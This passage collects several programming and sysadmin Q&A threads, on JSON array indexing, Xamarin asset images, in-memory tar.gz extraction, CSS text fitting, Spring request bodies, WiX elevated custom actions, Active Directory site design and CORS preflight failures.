  ]
}

I am using this to parse it in Javascript:
var zero;
zero = 0;
isthisThingLive = data.items.zero.snippet.liveBroadCastContent;
console.log(isthisThingLive);

(I am not including the server code to avoid your boredom, I know it works because I use it in multiple other places)
I run into an error whenever I replace the "Zero" variable with the 0 Int. Is there a reason for this? I am relatively new to using server requests and parsing and any help would be appreciated!
The "Data" variable is used to reach the server, this is not the issue, the error I'm getting is "You can not get "Snippet" of undefined, meaning that the Zero variable is failing to be recognized but the server!
Thanks for your help!

A: This is the proper json:
{
  "items": [
    {
      "snippet": {
        "liveBroadcastContent": "live"
      }
    }
  ]
}

This is how you can access liveBroadCastContent
const isthisThingLive = data.items[0].snippet.liveBroadCastContent;
console.log(isthisThingLive);


text:
Q: How to load an Image from Assets in Xamarin.Forms on Android? I am using the following code:
var baseUrl = DependencyService.Get<IBaseUrl> ().Get ();
var backgroundImage = new Image () {
    Source = FileImageSource.FromFile (
        System.IO.Path.Combine (baseUrl, "Content", "images", "background-2.jpg")
    )
};

Where the DependencyServices for iOS and Androids are as below:
// iOS
[assembly: Xamarin.Forms.Dependency (typeof (BaseUrl_iOS))]
namespace TuneProtectApp.iOS
{
    public class BaseUrl_iOS : IBaseUrl
    {
        public BaseUrl_iOS () { }
        public string Get ()
        {
            return NSBundle.MainBundle.BundlePath;
        }
    }
}

// Android
[assembly: Xamarin.Forms.Dependency (typeof (BaseUrl_Droid))]
namespace TuneProtectApp.Droid
{
    public class BaseUrl_Droid : IBaseUrl
    {
        public BaseUrl_Droid () {}
        public string Get ()
        {
            return "file:///android_asset/";
        }
    }
}

The backgroundImage loads fine on iOS but not on Android. How to load an Image from Assets in Xamarin.Forms on Android?

A: In my Xamarin.forms (shared) app I have a registration-page, where the user also have to select an image for his avatar. Based on the sex of the user, I show a male or a female symbol-image as default (the user then can select another, if he want to do).
I have implemented it as follows:
First created a sub-directory \Embedded for all projects (iOS, Android and WP) (directly in the project-root of each project-type).
Then added the two .jpg's to the new directories in all projects.
In my app I have a global variable (GV.cEmbeddedAblage)
This is filled in startup-code:
string cNameSpace = "";
switch (Device.OS)
 {
   case TargetPlatform.WinPhone:
        cNameSpace = "MatrixGuide.WinPhone";
        break;
   case TargetPlatform.iOS:
        cNameSpace = "MatrixGuide.iOS";
   break;
        case TargetPlatform.Android:
        cNameSpace = "MatrixGuide.Droid";
   break;
//
}
GV.cEmbeddedAblage = cNameSpace + ".Embedded.";

Further, I create a global byte-array for the images (example to male):
 static Byte[] _SymbolMann;
 public static Byte[] ByteSymbolMann
 {
   get { return _SymbolMann; }
   set { _SymbolMann = value; }
  }

I then easily can access the images from shared code (on the registration-page) with (e.g.):
Generate the path, load image in byte-array (if not already loaded):
string cFilename = "";
if (GV.ByteSymbolMann == null) // not yet loaded - only load one time
 {
   cFilename = GV.cEmbeddedAblage + "SymbolMann.jpg";
   var assembly = this.GetType().GetTypeInfo().Assembly;
   byte[] buffer;
   using (Stream s = assembly.GetManifestResourceStream(cFilename))
    {
       long length = s.Length;
       buffer = new byte[length];
       s.Read(buffer, 0, (int)length);
       GV.ByteSymbolMann = buffer;
     }
}

Fill another byte.array (with selected (loaded) male- / female- image):
  AvatarErfassung = GV.ByteSymbolMann;

create the image on the page:
var Avatar = new Image { HeightRequest = 70, WidthRequest = 70, HorizontalOptions = LayoutOptions.Start };

Overtake the selected image as Source to the Image:
Avatar.Source = ImageSource.FromStream(() => new MemoryStream(AvatarErfassung));

You should be able to do it similar...


text:
Q: Extract a file from tar.gz, without touching disk Current Process:

*

*I have a tar.gz file. (Actually, I have about 2000 of them, but that's another story).

*I make a temporary directory, extract the tar.gz file, revealing 100,000 tiny files (around 600 bytes each).

*For each file, I cat it into a processing program, pipe that loop into another analysis program, and save the result.

The temporary space on the machines I'm using can barely handle one of these processes at once, never mind the 16 (hyperthreaded dual quad core) that they get sent by default.
I'm looking for a way to do this process without saving to disk.  I believe the performance penalty for individually pulling files using tar -xf $file -O <targetname> would be prohibitive, but it might be what I'm stuck with.
Is there any way of doing this?
EDIT: Since two people have already made this mistake, I'm going to clarify:

*

*Each file represents one point in time.

*Each file is processed separately.

*Once processed (in this case a variant on Fourier analysis), each gives one line of output.

*This output can be combined to do things like autocorrelation across time.

EDIT2: Actual code:
for f in posns/*; do
    ~/data_analysis/intermediate_scattering_function < "$f"
done | ~/data_analysis/complex_autocorrelation.awk limit=1000 > inter_autocorr.txt

A: If you do not care about the boundaries between files, then tar --to-stdout -xf $file will do what you want; it will send the contents of each file in the archive to stdout one after the other.
This assumes you are using GNU tar, which is reasonably likely if you are using bash.
[Update]
Given the constraint that you do want to process each file separately, I agree with Charles Duffy that a shell script is the wrong tool.
You could try his Python suggestion, or you could try the Archive::Tar Perl module.  Either of these would allow you to iterate through the tar file's contents in memory.

A: This sounds like a case where the right tool for the job is probably not a shell script. Python has a tarfile module which can operate in streaming mode, letting you make only a single pass through the large archive and process its files, while still being able to distinguish the individual files (which the tar --to-stdout approach will not).

A: You can use the tar option --to-command=cmd to execute the command for each file. Tar redirects the file content to the standard input of the command, and sets some environment variables with details about the file, such as TAR_FILENAME. More details in Tar Documentation.
e.g.
tar zxf file.tar.gz --to-command='./process.sh'

Note that OSX uses bsdtar by default, which does not have this option. You can explicitly call gnutar instead.

A: You could use a ramdisk ( http://www.vanemery.com/Linux/Ramdisk/ramdisk.html ) to process and load it from. (me boldly assuming you use Linux but other UNIX systems should have the same type of provisions)

A: tar zxvf <file.tar.gz> <path_to_extract> --to-command=cat

The above command will show the content of extracted file on shell only. There will be no changes to disk. tar command should be GNU tar.
Sample logs:
$ cat file_a
aaaa
$ cat file_b
bbbb
$ cat file_c
cccc
$ tar zcvf file.tar.gz file_a file_b file_c
file_a
file_b
file_c
$ cd temp
$ ls <== no files in directory
$ tar zxvf ../file.tar.gz file_b --to-command=cat
file_b
bbbb
$ tar zxvf ../file.tar.gz file_a --to-command=cat
file_a
aaaa
$ ls  <== Even after tar extract - no files in directory. So, no changes to disk
$ tar --version
tar (GNU tar) 1.25
...
$


text:
Q: Force text in the child div fit into parent I have two div tags in my HTML code like this

 .....

         .....

 .....

#parent{ height: 400px; width:100px}

How can force the content of #child div vertically fit into the parent div ?
I am looking for some thing that can take child div ID and resize its content dynamically. I have worked with jQuery.fittext. However, it get the child-text class id instead of child div id. In other words, it is not intelligent enough to identify what is in the child div and then rescale them.
Is there any other alternative for this ?

A: You could do something like:

var fontsize = 10;
while($('#child').height() <= $('#parent').height()){
    fontsize = fontsize +1;
    $('#child').css('font-size',fontsize+'px');
}
#parent{ height: 400px; width:100px;background:red;}
#child{padding-bottom:5px;

 Once upon a time

         there lived a monkey

 who loved to eat oranges

While #child height is less then #parent then it adds 1px until it is not.  In the css, I gave #child a padding bottom of 5px, so it would not overflow
JSFiddle

A: Add a display property value of table to  #parent and display property value of table-cell to the elements you want to measure the height of #parent

#parent, #child {
  width: 100%;
  height: 100%;
  position: relative;
  display: table;
  }

.child-link, .child-text { /* ID/Class of whatever element you want to measure the #parent */
  display: inline-block;
  height: 100%;
  width: 150px;
  vertical-align: top;
  background-color: green;
  bottom: 0;
  display: table-cell;
  border-left: solid 5px white; /* Just for Division sake */
  }

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque sagittis felis nec est iaculis, id rhoncus eros efficitur. Aliquam justo felis, semper in placerat non, facilisis sed elit.

         Lorem

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque sagittis felis nec est iaculis, id rhoncus eros efficitur. Aliquam justo felis, semper in placerat non, facilisis sed elit.

       Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque sagittis felis nec est iaculis, id rhoncus eros efficitur. Aliquam justo felis, semper in placerat non, facilisis sed elit.

       Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque sagittis felis nec est iaculis, id rhoncus eros efficitur. Aliquam justo felis, semper in placerat non, facilisis sed elit.

To make it dependent on the screen size, do something like below:
@media screen and (max-width: 768px) { /* Adjust as needed */
enter code here

}


text:
Q: can not get request body with content-type=application/x-www-form-urlencoded I can not get request body contents when request contains Content-Type=application/x-www-form-urlencoded.
I have following method for retrieving request body:
@RequestMapping(value = "/testRequestBody", method = RequestMethod.POST)
@ResponseBody
public String testRequestBody(@RequestBody String requestBody) {
    return requestBody;
}

I am using restclient firefox plugin to test request. When I add Content-Type=application/x-www-form-urlencoded to request requestBody variable becomes empty despite I have text in the request body. When I remove Content-Type header, request body is populated with text.
UPD
This issue seems to be related to tomcat which is used to run spring container. When application/x-www-form-urlencoded request comes, it is parsed, parameters defined in the body become request parameters and body then is cleared.
I could access body parameters in the following manner:
@RequestMapping(value = "/testRequestBody", method = RequestMethod.POST)
@ResponseBody
public String testRequestBody(@RequestParam("paramName") String paramName) {
    return requestParam;
}

How can I configure tomcat not to parse request and not to clear request body?

A: When you invoke a RESTful SAS BI Web service, the HTTP headers that you send are important. The Content-type HTTP header tells SAS BI Web Services what type of content you are sending when you perform an HTTP POST. If you are invoking a JSON endpoint, then your Content-type must be set as application/x-www-form-urlencoded and your content must be encoded using this format. If you are invoking an XML endpoint, then your Content-type must be set to application/xml and your content must be XML. The HTTP Accept header tells SAS BI Web Services what type of content your client can accept as output. The Accept header must be set to application/json for JSON endpoints and can be set to application/xml for XML endpoints (this header is not required for XML endpoints)
@RequestMapping(value = "/testRequestBody", method = RequestMethod.POST, headers="Accept=*")
@ResponseBody
public String testRequestBody(@RequestBody String requestBody) {
    return requestBody;
}


text:
Q: SSL connection to remote server in Grails I need to develop a web-application using Grails. Application server is tomcat.
This web application gets data from a remote Netty server through SSL connection.
As this is my first grails app, I need some guidance how to connect and fetch data from remote servers in Grails. I'll be using self signed certificates, and I'm familiar with keystores and truststores.
Thanks in advance for tips and guidance.


text:
Q: Custom action runs with admin privilege and set session variables I want to run a custom action and seach registy and then set some session variables after that
heare is my custom action function
[CustomAction]
public static ActionResult RegistryDetails(Session session)
{
    try
    {
        CurrentSession = session;

        string registryPath = @"SOFTWARE\XXX\Printers";
        int printerIndex = 1;
        RegistryKey prnKey = Registry.LocalMachine;

        prnKey = prnKey.OpenSubKey(registryPath);

        List<string> subKeyList = new List<string>();
        subKeyList.AddRange(prnKey.GetSubKeyNames());

        while(subKeyList.Contains(printerIndex.ToString()))
        {
            printerIndex++;
        }

        string newRegistryPath = registryPath + "\\" + printerIndex.ToString();
        session["UtillRegKey"] = newRegistryPath;
        session["PrinterNo"] = printerIndex.ToString();
    }
    catch (Exception ex)
    {

        CurrentSession.Log(ex.Message);
        Record exceptionRec = new Record(0);
        exceptionRec[0] = "Errors -" + ex.StackTrace.ToString();
        return ActionResult.Failure;
    }

    return ActionResult.Success;
}

but to run this custom action, i need Admin privilages
So I set  Execute="deferred" & Impersonate="no" of my custom action definition.
That makes session["PrinterNo"]&session["UtillRegKey"] inaccessible. because it should be Execute="immediate" to access session variables.
but I cannot set as Execute="immediate", that will prevent run custom action run as admin.
Can anyone help me to overcome this.

A: You cannot modify session properties during the deferred (elevated) phase of the installation. You can read session properties during a deferred custom action and it requires a special property set by another custom action and using session.CustomActionData
It looks like you are only reading from the registry so there should be no problems doing this as an immediate action.


text:
Q: AD child domain advice for multiple autonomous sites We have 4 sites, two in the same city, two elsewhere. Each site will be fully autonomous but there will be occasional VPN links to allow AD replication as our users float around the sites. Everything should be replicated.
I would like to use a topology using the site's city as the child domain. So for instance we would have:

*

*dc-site1.sydney.mycompany.lan

*dc-site2.sydney.mycompany.lan

*dc-site3.melbourne.mycompany.lan

*dc-site4.perth.mycompany.lan

My question really is with regards to the parent domain in a new forest. In a new set-up I can't create a child domain. So my DC is dc-site1.mycompany.lan. This doesn't really make sense in the above topology as it implies the DC is orphaned. We don't have a HQ as such.
I could, in one site, have two DCs: the parent and the child, but would this be confusing? Any machine should always join a child domain so the parent has no responsibility, other than perhaps replication.
Can anyone advise how this would work? Can the parent and child hapily co-exist on the same subnet?

A: Well, my first bit of advice would be don't do that, because it won't work, at least not like you seem to think it should.
I bet you want one forest, with one domain and 4 sites in it.  Set up 4 sites, not 3 child domains.  (shudder)  You use Active Directory Sites and Services to set up, configure and manage your sites.
(And, just as a PS, you can have as many Domain Controllers per site or domain as you can spin up.  The recommended maximum is 1200 per domain, with a theoretical limit of just over 2 billion.)

A: Just to add to HopelessN00b's answer.
It used to be considered a good idea to have an empty forest root domain in some situations (possibly a bit of a hangover from the NT4 account domain/resource domain model) but these days you don't see anyone recommending it.
Having an empty forest root can be handy if you want to segregate your DNS namespace for some reason (although you don't really need an empty forest root domain - you can have disjoint DNS namespaces but one of the domains will have to be the forest root domain)
EDIT: Forgot to add - In conclusion, just read HopelessN00b's answer :-)


text:
Q: Chrome HTTP OPTIONS (Preflight) Fails, but works in Postman I am building a SPA using AngularJS and .NET MVC/WebApi. I am having an issue with Chrome sending a pre-flight request for POST,PUT,DELETE operations (as it should), and getting a 404 response back from the server. The issue with this is that this request (with identical headers and HTTP method) is successful when using an API testing tool; Postman for this example.
Here is the request/response information through Chrome:

IIS Trace: 2015-12-22 16:18:01 127.0.0.1 OPTIONS /api/v1/sidebar v=1450801081939 443 - 127.0.0.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/47.0.2526.106+Safari/537.36 https://etk.localtest.me/ 404 0 0 6
And here is the same request in Postman:

IIS Trace: 2015-12-22 16:17:14 127.0.0.1 OPTIONS /api/v1/sidebar v=1449874981966 443 - 127.0.0.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/47.0.2526.106+Safari/537.36 - 200 0 0 7
I would believe that my CORS configuration is configured correctly given it works in Postman?
<httpProtocol>
  <customHeaders>
    <remove name="Access-Control-Allow-Origin" />
    <add name="Access-Control-Allow-Origin" value="*" />
    <remove name="Access-Control-Allow-Headers" />
    <add name="Access-Control-Allow-Headers" value="Content-Type, Accept, Authorization" />
    <remove name="Access-Control-Allow-Methods" />
    <add name="Access-Control-Allow-Methods" value="GET, POST, PUT, DELETE, OPTIONS" />
  </customHeaders>
</httpProtocol>

Has anyone else experienced this issue before? Any solutions/fixes?

A: Preflight requests are created by the browser. From my experience Postman doesn't actually send a preflight request, so if anything is wrong with your CORS configuration, your API calls will work with Postman but not with Chrome.